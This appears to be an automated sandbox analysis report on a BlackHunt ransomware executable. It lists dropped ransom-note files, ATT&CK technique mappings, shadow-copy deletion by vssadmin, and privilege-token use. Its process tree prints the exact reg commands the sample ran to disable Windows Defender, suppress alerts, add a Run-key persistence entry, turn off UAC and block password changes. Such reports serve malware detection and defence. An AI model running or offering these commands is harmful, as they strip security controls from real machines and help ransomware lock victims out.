File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\PreviousMenuButtonIcon.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Beulah	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\feature.properties	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.diagnostic_5.5.0.165303.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\#BlackHunt_ReadMe.txt	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\Christmas	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Istanbul	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Resolute	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\BabyGirl\content-background.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\alt-rt.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\sunjce_provider.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Minsk	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Kosrae	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\epl-v10.html	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\db\bin\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\fieldswitch.ax	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\ext\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\North_Dakota\Center	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Malta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsMainToNotesBackground.wmv	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+4	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.core.feature_1.3.0.v20140523-0116\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.ja_5.5.0.165303.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.components.ui.ja_5.5.0.165303.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\DVD Maker\de-DE\#BlackHunt_ReadMe.hta	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbytools.jar	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\PST8PDT	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\NavigationLeft_SelectionSubpicture.png	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
File created	C:\Program Files\#BlackHunt_Private.key	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1812	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
404	vssadmin.exe
2148	vssadmin.exe
1544	vssadmin.exe
2676	vssadmin.exe
596	vssadmin.exe
2496	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2688	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2884	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2452	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeRestorePrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeBackupPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeTakeOwnershipPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeAuditPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeSecurityPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeIncBasePriorityPrivilege	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Token: SeBackupPrivilege	2560	vssvc.exe
Token: SeRestorePrivilege	2560	vssvc.exe
Token: SeAuditPrivilege	2560	vssvc.exe
Token: SeBackupPrivilege	2596	wbengine.exe
Token: SeRestorePrivilege	2596	wbengine.exe
Token: SeSecurityPrivilege	2596	wbengine.exe
Token: SeSecurityPrivilege	1064	wevtutil.exe
Token: SeBackupPrivilege	1064	wevtutil.exe
Token: SeSecurityPrivilege	1956	wevtutil.exe
Token: SeSecurityPrivilege	2068	wevtutil.exe
Token: SeBackupPrivilege	1956	wevtutil.exe
Token: SeBackupPrivilege	2068	wevtutil.exe
Token: SeSecurityPrivilege	524	wevtutil.exe
Token: SeSecurityPrivilege	596	wevtutil.exe
Token: SeBackupPrivilege	524	wevtutil.exe
Token: SeBackupPrivilege	596	wevtutil.exe
Token: SeDebugPrivilege	2688	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1672 wrote to memory of 2776	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	29
PID 1672 wrote to memory of 2776	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	29
PID 1672 wrote to memory of 2776	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	29
PID 1672 wrote to memory of 2776	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	29
PID 1672 wrote to memory of 2824	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	31
PID 1672 wrote to memory of 2824	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	31
PID 1672 wrote to memory of 2824	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	31
PID 1672 wrote to memory of 2824	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	31
PID 2776 wrote to memory of 2672	2776	cmd.exe	33
PID 2776 wrote to memory of 2672	2776	cmd.exe	33
PID 2776 wrote to memory of 2672	2776	cmd.exe	33
PID 1672 wrote to memory of 2940	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	34
PID 1672 wrote to memory of 2940	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	34
PID 1672 wrote to memory of 2940	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	34
PID 1672 wrote to memory of 2940	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	34
PID 1672 wrote to memory of 2832	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	37
PID 1672 wrote to memory of 2832	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	37
PID 1672 wrote to memory of 2832	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	37
PID 1672 wrote to memory of 2832	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	37
PID 1672 wrote to memory of 2756	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	36
PID 1672 wrote to memory of 2756	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	36
PID 1672 wrote to memory of 2756	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	36
PID 1672 wrote to memory of 2756	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	36
PID 1672 wrote to memory of 2936	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	40
PID 1672 wrote to memory of 2936	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	40
PID 1672 wrote to memory of 2936	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	40
PID 1672 wrote to memory of 2936	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	40
PID 2824 wrote to memory of 2680	2824	cmd.exe	39
PID 2824 wrote to memory of 2680	2824	cmd.exe	39
PID 2824 wrote to memory of 2680	2824	cmd.exe	39
PID 1672 wrote to memory of 2068	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	41
PID 1672 wrote to memory of 2068	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	41
PID 1672 wrote to memory of 2068	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	41
PID 1672 wrote to memory of 2068	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	41
PID 1672 wrote to memory of 2784	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	43
PID 1672 wrote to memory of 2784	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	43
PID 1672 wrote to memory of 2784	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	43
PID 1672 wrote to memory of 2784	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	43
PID 1672 wrote to memory of 2728	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	47
PID 1672 wrote to memory of 2728	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	47
PID 1672 wrote to memory of 2728	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	47
PID 1672 wrote to memory of 2728	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	47
PID 1672 wrote to memory of 2564	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	49
PID 1672 wrote to memory of 2564	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	49
PID 1672 wrote to memory of 2564	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	49
PID 1672 wrote to memory of 2564	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	49
PID 1672 wrote to memory of 2576	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	50
PID 1672 wrote to memory of 2576	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	50
PID 1672 wrote to memory of 2576	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	50
PID 1672 wrote to memory of 2576	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	50
PID 2940 wrote to memory of 2620	2940	cmd.exe	53
PID 2940 wrote to memory of 2620	2940	cmd.exe	53
PID 2940 wrote to memory of 2620	2940	cmd.exe	53
PID 1672 wrote to memory of 2636	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	52
PID 1672 wrote to memory of 2636	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	52
PID 1672 wrote to memory of 2636	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	52
PID 1672 wrote to memory of 2636	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	52
PID 1672 wrote to memory of 2684	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	54
PID 1672 wrote to memory of 2684	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	54
PID 1672 wrote to memory of 2684	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	54
PID 1672 wrote to memory of 2684	1672	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe	54
PID 2832 wrote to memory of 3024	2832	cmd.exe	56
PID 2832 wrote to memory of 3024	2832	cmd.exe	56
PID 2832 wrote to memory of 3024	2832	cmd.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe
"C:\Users\Admin\AppData\Local\Temp\17acf060421f9b0e3a0e99f6513a80d7238464d473c4f4e4e3ed70bbf83558a2.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2672
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:524
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2936
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2008
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2784
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:1100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2564
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2236
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2576
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:1868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2368
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:1884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
